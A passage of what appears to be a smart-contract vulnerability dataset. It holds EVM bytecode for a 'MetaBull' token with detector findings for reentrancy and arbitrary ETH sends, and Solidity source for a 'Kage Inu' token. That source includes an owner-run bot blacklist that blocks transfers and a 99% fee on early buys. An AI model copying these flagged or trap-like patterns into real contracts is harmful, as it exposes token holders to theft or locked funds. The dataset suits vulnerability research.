0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600881526020017f4d65746142756c6c000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b638f0d180061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b638f0d18006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b638f0d1800610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4d45544142554c4c000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60078110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b638f0d1800611ac991906128f1565b9050611afc6006600a611adc91906127d3565b638f0d1800611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b638f0d1800611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204338b9f0cea7943d62bf3d4c152fb3361a8131ebd530c0364edb1ea08293dd9f64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,591
0x511abef1dbe942eb9508ddc6506f2aee214126a1
/** *Submitted for verification at Etherscan.io on 2022-05-02 */ /** *Submitted for verification at Etherscan.io on 2022-01-06 */ /* Telegram: t.me/kageinueth */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KageInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Kage Inu"; string private constant _symbol = "KAGE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 9; } if (openBlock + 3 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public 